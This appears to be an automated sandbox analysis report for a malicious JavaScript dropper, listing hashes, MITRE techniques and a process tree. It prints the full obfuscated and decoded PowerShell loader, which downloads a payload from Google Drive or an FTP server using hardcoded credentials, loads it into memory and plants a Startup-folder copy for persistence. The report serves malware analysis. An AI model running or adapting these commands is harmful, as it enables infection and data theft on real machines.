6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1

Analysis

max time kernel
146s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23-09-2024 17:40

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General

Target

6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js
Size

11KB
MD5

e1c347b8f89a739b8ac859399fc5dd2f
SHA1

5ca91197785030f2072ed083b456e544d39b5ce3
SHA256

6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1
SHA512

d259433ba8a8f61c3909243630b94ff1ae32ee833858375d350a08ef99f6bedb1434116de9bc56293ae7fbc60249eba21be871cb35ff50d73d684eec9a535b0a
SSDEEP

192:QuJSWVs9A/4AzIZgROnqoM2CIi3UooDGcCLcYa6iNrpaNfbc1NgNd+tchvtk7alH:7sUVzywNoMNI+oyHcY4hpaVc7gmtc9lH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Signatures

Blocklisted process makes network request 26 IoCs

flow	pid	Process
6	4864	powershell.exe
16	4864	powershell.exe
19	4864	powershell.exe
20	4864	powershell.exe
25	4864	powershell.exe
29	4864	powershell.exe
30	4864	powershell.exe
33	4864	powershell.exe
44	4864	powershell.exe
45	4864	powershell.exe
46	4864	powershell.exe
47	4864	powershell.exe
50	4864	powershell.exe
52	4864	powershell.exe
53	4864	powershell.exe
54	4864	powershell.exe
55	4864	powershell.exe
58	4864	powershell.exe
63	4864	powershell.exe
64	4864	powershell.exe
65	4864	powershell.exe
66	4864	powershell.exe
67	4864	powershell.exe
68	4864	powershell.exe
69	4864	powershell.exe
70	4864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe
4864	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5020	powershell.exe
5020	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 5020	3552	wscript.exe	82
PID 3552 wrote to memory of 5020	3552	wscript.exe	82
PID 5020 wrote to memory of 4864	5020	powershell.exe	84
PID 5020 wrote to memory of 4864	5020	powershell.exe	84
PID 4864 wrote to memory of 2860	4864	powershell.exe	89
PID 4864 wrote to memory of 2860	4864	powershell.exe	89
PID 4864 wrote to memory of 5112	4864	powershell.exe	90
PID 4864 wrote to memory of 5112	4864	powershell.exe	90
PID 4864 wrote to memory of 796	4864	powershell.exe	94
PID 4864 wrote to memory of 796	4864	powershell.exe	94
PID 4864 wrote to memory of 4828	4864	powershell.exe	95
PID 4864 wrote to memory of 4828	4864	powershell.exe	95
PID 4864 wrote to memory of 5080	4864	powershell.exe	96
PID 4864 wrote to memory of 5080	4864	powershell.exe	96
PID 4864 wrote to memory of 4908	4864	powershell.exe	97
PID 4864 wrote to memory of 4908	4864	powershell.exe	97
PID 4864 wrote to memory of 3804	4864	powershell.exe	98
PID 4864 wrote to memory of 3804	4864	powershell.exe	98
PID 4864 wrote to memory of 2940	4864	powershell.exe	99
PID 4864 wrote to memory of 2940	4864	powershell.exe	99
PID 4864 wrote to memory of 1940	4864	powershell.exe	101
PID 4864 wrote to memory of 1940	4864	powershell.exe	101
PID 4864 wrote to memory of 3140	4864	powershell.exe	102
PID 4864 wrote to memory of 3140	4864	powershell.exe	102
PID 4864 wrote to memory of 3332	4864	powershell.exe	104
PID 4864 wrote to memory of 3332	4864	powershell.exe	104
PID 4864 wrote to memory of 4508	4864	powershell.exe	105
PID 4864 wrote to memory of 4508	4864	powershell.exe	105
PID 4864 wrote to memory of 1456	4864	powershell.exe	106
PID 4864 wrote to memory of 1456	4864	powershell.exe	106
PID 4864 wrote to memory of 452	4864	powershell.exe	107
PID 4864 wrote to memory of 452	4864	powershell.exe	107
PID 4864 wrote to memory of 3084	4864	powershell.exe	108
PID 4864 wrote to memory of 3084	4864	powershell.exe	108
PID 4864 wrote to memory of 4240	4864	powershell.exe	109
PID 4864 wrote to memory of 4240	4864	powershell.exe	109
PID 4864 wrote to memory of 1492	4864	powershell.exe	110
PID 4864 wrote to memory of 1492	4864	powershell.exe	110
PID 4864 wrote to memory of 1384	4864	powershell.exe	111
PID 4864 wrote to memory of 1384	4864	powershell.exe	111
PID 4864 wrote to memory of 2252	4864	powershell.exe	112
PID 4864 wrote to memory of 2252	4864	powershell.exe	112
PID 4864 wrote to memory of 1020	4864	powershell.exe	113
PID 4864 wrote to memory of 1020	4864	powershell.exe	113
PID 4864 wrote to memory of 4072	4864	powershell.exe	114
PID 4864 wrote to memory of 4072	4864	powershell.exe	114
PID 4864 wrote to memory of 8	4864	powershell.exe	115
PID 4864 wrote to memory of 8	4864	powershell.exe	115
PID 4864 wrote to memory of 3724	4864	powershell.exe	116
PID 4864 wrote to memory of 3724	4864	powershell.exe	116
PID 4864 wrote to memory of 4276	4864	powershell.exe	117
PID 4864 wrote to memory of 4276	4864	powershell.exe	117
PID 4864 wrote to memory of 1484	4864	powershell.exe	118
PID 4864 wrote to memory of 1484	4864	powershell.exe	118
PID 4864 wrote to memory of 3684	4864	powershell.exe	119
PID 4864 wrote to memory of 3684	4864	powershell.exe	119
PID 4864 wrote to memory of 2720	4864	powershell.exe	120
PID 4864 wrote to memory of 2720	4864	powershell.exe	120
PID 4864 wrote to memory of 3184	4864	powershell.exe	121
PID 4864 wrote to memory of 3184	4864	powershell.exe	121
PID 4864 wrote to memory of 3304	4864	powershell.exe	122
PID 4864 wrote to memory of 3304	4864	powershell.exe	122
PID 4864 wrote to memory of 2072	4864	powershell.exe	123
PID 4864 wrote to memory of 2072	4864	powershell.exe	123

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $nbgdE = 'JA㍿lAEgASg㍿jAGsAIAA9ACAAJA㍿oAG8Acw㍿0AC4AVg㍿lAHIAcw㍿pAG8AbgAuAE0AYQ㍿qAG8AcgAuAEUAcQ㍿1AGEAbA㍿zACgAMgApADsASQ㍿mACAAKAAgACQAZQ㍿IAEoAYw㍿rACAAKQAgAHsAJA㍿NAGoATA㍿qAHAAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAEkATwAuAFAAYQ㍿0AGgAXQA6ADoARw㍿lAHQAVA㍿lAG0AcA㍿QAGEAdA㍿oACgAKQA7AGQAZQ㍿sACAAKAAkAE0Aag㍿MAGoAcAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApADsAJA㍿zAGkAVg㍿wAFAAIAA9ACAAJw㍿oAHQAdA㍿wAHMAOgAvAC8AZA㍿yAGkAdg㍿lAC4AZw㍿vAG8AZw㍿sAGUALg㍿jAG8AbQAvAHUAYwA/AGUAeA㍿wAG8Acg㍿0AD0AZA㍿vAHcAbg㍿sAG8AYQ㍿kACYAaQ㍿kAD0AJwA7ACQAUQ㍿EAGYARw㍿vACAAPQAgACQAZQ㍿uAHYAOg㍿QAFIATw㍿DAEUAUw㍿TAE8AUg㍿fAEEAUg㍿DAEgASQ㍿UAEUAQw㍿UAFUAUg㍿FAC4AQw㍿vAG4AdA㍿hAGkAbg㍿zACgAJwA2ADQAJwApADsAaQ㍿mACAAKAAgACQAUQ㍿EAGYARw㍿vACAAKQAgAHsAJA㍿zAGkAVg㍿wAFAAIAA9ACAAKAAkAHMAaQ㍿WAHAAUAAgACsAIAAnAFcAMQAxADIAQQ㍿kAFAAZg㍿JADAAUA㍿DADcAaA㍿iAHMAYw㍿pAF8ANQ㍿fADAAXw㍿lAFUANw㍿OAHcATQ㍿aAGgAZgA0AHgAJwApACAAOw㍿9AGUAbA㍿zAGUAIA㍿7ACQAcw㍿pAFYAcA㍿QACAAPQAgACgAJA㍿zAGkAVg㍿wAFAAIAArACAAJwAxAGIAcg㍿qADUAag㍿xAG4AcQ㍿SAHgAQw㍿EADYAVg㍿oAGYAaA㍿㍿AG4AMg㍿yAGMAVg㍿mAHMAUg㍿vADcARAA4AGcAcgAnACkAIAA7AH0AOwAkAE4AeQ㍿CAFkAYwAgAD0AIAAoACAATg㍿lAHcALQ㍿PAGIAag㍿lAGMAdAAgAE4AZQ㍿0AC4AVw㍿lAGIAQw㍿sAGkAZQ㍿uAHQAIAApACAAOwAkAE4AeQ㍿CAFkAYwAuAEUAbg㍿jAG8AZA㍿pAG4AZwAgAD0AIA㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AVA㍿lAHgAdAAuAEUAbg㍿jAG8AZA㍿pAG4AZw㍿dADoAOg㍿VAFQARgA4ACAAOwAkAE4AeQ㍿CAFkAYwAuAEQAbw㍿3AG4AbA㍿vAGEAZA㍿GAGkAbA㍿lACgAJA㍿VAFIATA㍿LAEIALAAgACQATQ㍿qAEwAag㍿wACAAKwAgACcAXA㍿VAHAAdw㍿pAG4ALg㍿tAHMAdQAnACkAIAA7ACQAQQ㍿VAHIARw㍿GACAAPQAgACgAIAAnAEMAOg㍿cAFUAcw㍿lAHIAcw㍿cACcAIAArACAAWw㍿FAG4Adg㍿pAHIAbw㍿uAG0AZQ㍿uAHQAXQA6ADoAVQ㍿zAGUAcg㍿OAGEAbQ㍿lACAAKQA7AEkAeg㍿qAEEAUQAgAD0AIAAoACAAJA㍿NAGoATA㍿qAHAAIAArACAAJw㍿cAFUAcA㍿3AGkAbgAuAG0Acw㍿1ACcAIAApACAAOwAgAHAAbw㍿3AGUAcg㍿zAGgAZQ㍿sAGwALg㍿lAHgAZQAgAHcAdQ㍿zAGEALg㍿lAHgAZQAgAEkAeg㍿qAEEAUQAgAC8AcQ㍿1AGkAZQ㍿0ACAALw㍿uAG8Acg㍿lAHMAdA㍿hAHIAdAAgADsAIA㍿DAG8AcA㍿5AC0ASQ㍿0AGUAbQAgACcAJQ㍿EAEMAUA㍿KAFUAJQAnACAALQ㍿EAGUAcw㍿0AGkAbg㍿hAHQAaQ㍿vAG4AIAAoACAAJA㍿㍿AFUAcg㍿HAEYAIAArACAAJw㍿cAEEAcA㍿wAEQAYQ㍿0AGEAXA㍿SAG8AYQ㍿tAGkAbg㍿nAFwATQ㍿pAGMAcg㍿vAHMAbw㍿mAHQAXA㍿XAGkAbg㍿kAG8Adw㍿zAFwAUw㍿0AGEAcg㍿0ACAATQ㍿lAG4AdQ㍿cAFAAcg㍿vAGcAcg㍿hAG0Acw㍿cAFMAdA㍿hAHIAdA㍿1AHAAJwAgACkAIAAtAGYAbw㍿yAGMAZQAgADsAcA㍿vAHcAZQ㍿yAHMAaA㍿lAGwAbAAuAGUAeA㍿lACAALQ㍿jAG8AbQ㍿tAGEAbg㍿kACAAJw㍿zAGwAZQ㍿lAHAAIAAxADgAMAAnADsAIA㍿zAGgAdQ㍿0AGQAbw㍿3AG4ALg㍿lAHgAZQAgAC8AcgAgAC8AdAAgADAAIAAvAGYAIA㍿9AGUAbA㍿zAGUAIA㍿7AFsAUw㍿5AHMAdA㍿lAG0ALg㍿OAGUAdAAuAFMAZQ㍿yAHYAaQ㍿jAGUAUA㍿vAGkAbg㍿0AE0AYQ㍿uAGEAZw㍿lAHIAXQA6ADoAUw㍿lAHIAdg㍿lAHIAQw㍿lAHIAdA㍿pAGYAaQ㍿jAGEAdA㍿lAFYAYQ㍿sAGkAZA㍿hAHQAaQ㍿vAG4AQw㍿hAGwAbA㍿iAGEAYw㍿rACAAPQAgAHsAJA㍿0AHIAdQ㍿lAH0AOw㍿bAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿TAGUAcg㍿2AGkAYw㍿lAFAAbw㍿pAG4AdA㍿NAGEAbg㍿hAGcAZQ㍿yAF0AOgA6AFMAZQ㍿jAHUAcg㍿pAHQAeQ㍿QAHIAbw㍿0AG8AYw㍿vAGwAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAE4AZQ㍿0AC4AUw㍿lAGMAdQ㍿yAGkAdA㍿5AFAAcg㍿vAHQAbw㍿jAG8AbA㍿UAHkAcA㍿lAF0AOgA6AFQAbA㍿zADEAMgA7ACQAZg㍿nAEgAWQ㍿LACAAPQAgACgATg㍿lAHcALQ㍿PAGIAag㍿lAGMAdAAgAE4AZQ㍿0AC4AVw㍿lAGIAQw㍿sAGkAZQ㍿uAHQAKQA7ACQAZg㍿nAEgAWQ㍿LAC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿UAGUAeA㍿0AC4ARQ㍿uAGMAbw㍿kAGkAbg㍿nAF0AOgA6AFUAVA㍿GADgAOwAkAGYAZw㍿IAFkASwAuAEMAcg㍿lAGQAZQ㍿uAHQAaQ㍿hAGwAcwAgAD0AIA㍿uAGUAdwAtAG8AYg㍿qAGUAYw㍿0ACAAUw㍿5AHMAdA㍿lAG0ALg㍿OAGUAdAAuAE4AZQ㍿0AHcAbw㍿yAGsAQw㍿yAGUAZA㍿lAG4AdA㍿pAGEAbAAoACcAZA㍿lAHMAYw㍿rAHYAYg㍿yAGEAdAAxACcALAAnAGQAZQ㍿2AGUAbA㍿vAHAAZQ㍿yAHAAcg㍿vADIAMQA1ADcAOA㍿KAHAAQA㍿AACcAKQA7ACQAeA㍿NAEEAbQ㍿KACAAPQAgACQAZg㍿nAEgAWQ㍿LAC4ARA㍿vAHcAbg㍿sAG8AYQ㍿kAFMAdA㍿yAGkAbg㍿nACgAIAAnAGYAdA㍿wADoALwAvAGQAZQ㍿zAGMAaw㍿2AGIAcg㍿hAHQAMQ㍿AAGYAdA㍿wAC4AZA㍿lAHMAYw㍿rAHYAYg㍿yAGEAdAAuAGMAbw㍿tAC4AYg㍿yAC8AVQ㍿wAGMAcg㍿5AHAAdA㍿lAHIALwAwADIALw㍿EAEwATAAwADEALg㍿0AHgAdAAnACAAKQA7ACQAZg㍿nAEgAWQ㍿LAC4AZA㍿pAHMAcA㍿vAHMAZQAoACkAOwAkAGYAZw㍿IAFkASwAgAD0AIAAoAE4AZQ㍿3AC0ATw㍿iAGoAZQ㍿jAHQAIA㍿OAGUAdAAuAFcAZQ㍿iAEMAbA㍿pAGUAbg㍿0ACkAOwAkAGYAZw㍿IAFkASwAuAEUAbg㍿jAG8AZA㍿pAG4AZwAgAD0AIA㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AVA㍿lAHgAdAAuAEUAbg㍿jAG8AZA㍿pAG4AZw㍿dADoAOg㍿VAFQARgA4ADsAJA㍿4AE0AQQ㍿tAEoAIAA9ACAAJA㍿mAGcASA㍿ZAEsALg㍿EAG8Adw㍿uAGwAbw㍿hAGQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAeA㍿NAEEAbQ㍿KACAAKQA7AFsAQg㍿5AHQAZQ㍿bAF0AXQAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿DAG8Abg㍿2AGUAcg㍿0AF0AOgA6AEYAcg㍿vAG0AQg㍿hAHMAZQA2ADQAUw㍿0AHIAaQ㍿uAGcAKAAgACQAeA㍿NAEEAbQ㍿KAC4AUg㍿lAHAAbA㍿hAGMAZQAoACAAJwCTIToAkyEnACAALAAgACcAQQAnACAAKQAgACkAOw㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AQQ㍿wAHAARA㍿vAG0AYQ㍿pAG4AXQA6ADoAQw㍿1AHIAcg㍿lAG4AdA㍿EAG8AbQ㍿hAGkAbgAuAEwAbw㍿hAGQAKAAgACQAUg㍿YAGkAVg㍿qAF8AWQ㍿sAHQASA㍿LACAAKQAuAEcAZQ㍿0AFQAeQ㍿wAGUAKAAgACcAQw㍿sAGEAcw㍿zAEwAaQ㍿iAHIAYQ㍿yAHkAMwAuAEMAbA㍿hAHMAcwAxACcAIAApAC4ARw㍿lAHQATQ㍿lAHQAaA㍿vAGQAKAAgACcAcA㍿yAEYAVg㍿JACcAIAApAC4ASQ㍿uAHYAbw㍿rAGUAKAAkAG4AdQ㍿sAGwALAAgAFsAbw㍿iAGoAZQ㍿jAHQAWw㍿dAF0AIAAoACAAJwAwAC8AUA㍿XAE0ARQ㍿0AC8AZAAvAGUAZQAuAGUAdA㍿zAGEAcAAvAC8AOg㍿zAHAAdA㍿0AGgAJwAgACwAIAAnACUARA㍿DAFAASg㍿VACUAJwAsACAAJw㍿GAGEAbA㍿zAGUAJwAgACkAIAApADsAfQA7AA==';$nbgdE = $nbgdE.replace('㍿','B') ;$nbgdE = [System.Convert]::FromBase64String( $nbgdE ) ;;;$nbgdE = [System.Text.Encoding]::Unicode.GetString( $nbgdE ) ;$nbgdE = $nbgdE.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js') ;powershell $nbgdE
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$eHJck = $host.Version.Major.Equals(2);If ( $eHJck ) {$MjLjp = [System.IO.Path]::GetTempPath();del ($MjLjp + '\Upwin.msu');$siVpP = 'https://drive.google.com/uc?export=download&id=';$QDfGo = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $QDfGo ) {$siVpP = ($siVpP + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$siVpP = ($siVpP + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$NyBYc = ( New-Object Net.WebClient ) ;$NyBYc.Encoding = [System.Text.Encoding]::UTF8 ;$NyBYc.DownloadFile($URLKB, $MjLjp + '\Upwin.msu') ;$AUrGF = ( 'C:\Users\' + [Environment]::UserName );IzjAQ = ( $MjLjp + '\Upwin.msu' ) ; powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$fgHYK = (New-Object Net.WebClient);$fgHYK.Encoding = [System.Text.Encoding]::UTF8;$fgHYK.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$xMAmJ = $fgHYK.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$fgHYK.dispose();$fgHYK = (New-Object Net.WebClient);$fgHYK.Encoding = [System.Text.Encoding]::UTF8;$xMAmJ = $fgHYK.DownloadString( $xMAmJ );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $xMAmJ.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '0/PWMEt/d/ee.etsap//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js', 'False' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      Drops startup file
      PID:2860
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:5112
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:796
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4828
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:5080
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4908
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3804
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:2940
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1940
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3140
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3332
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4508
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1456
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:452
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3084
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4240
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1492
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1384
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:2252
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:1020
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4072
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:8
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:3724
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\6d3e27b1ccda7e6cd80c767aa1facaa62f06f34a2aa50873e79a26d5fe9e2be1.js"
      4⤵
      PID:4276
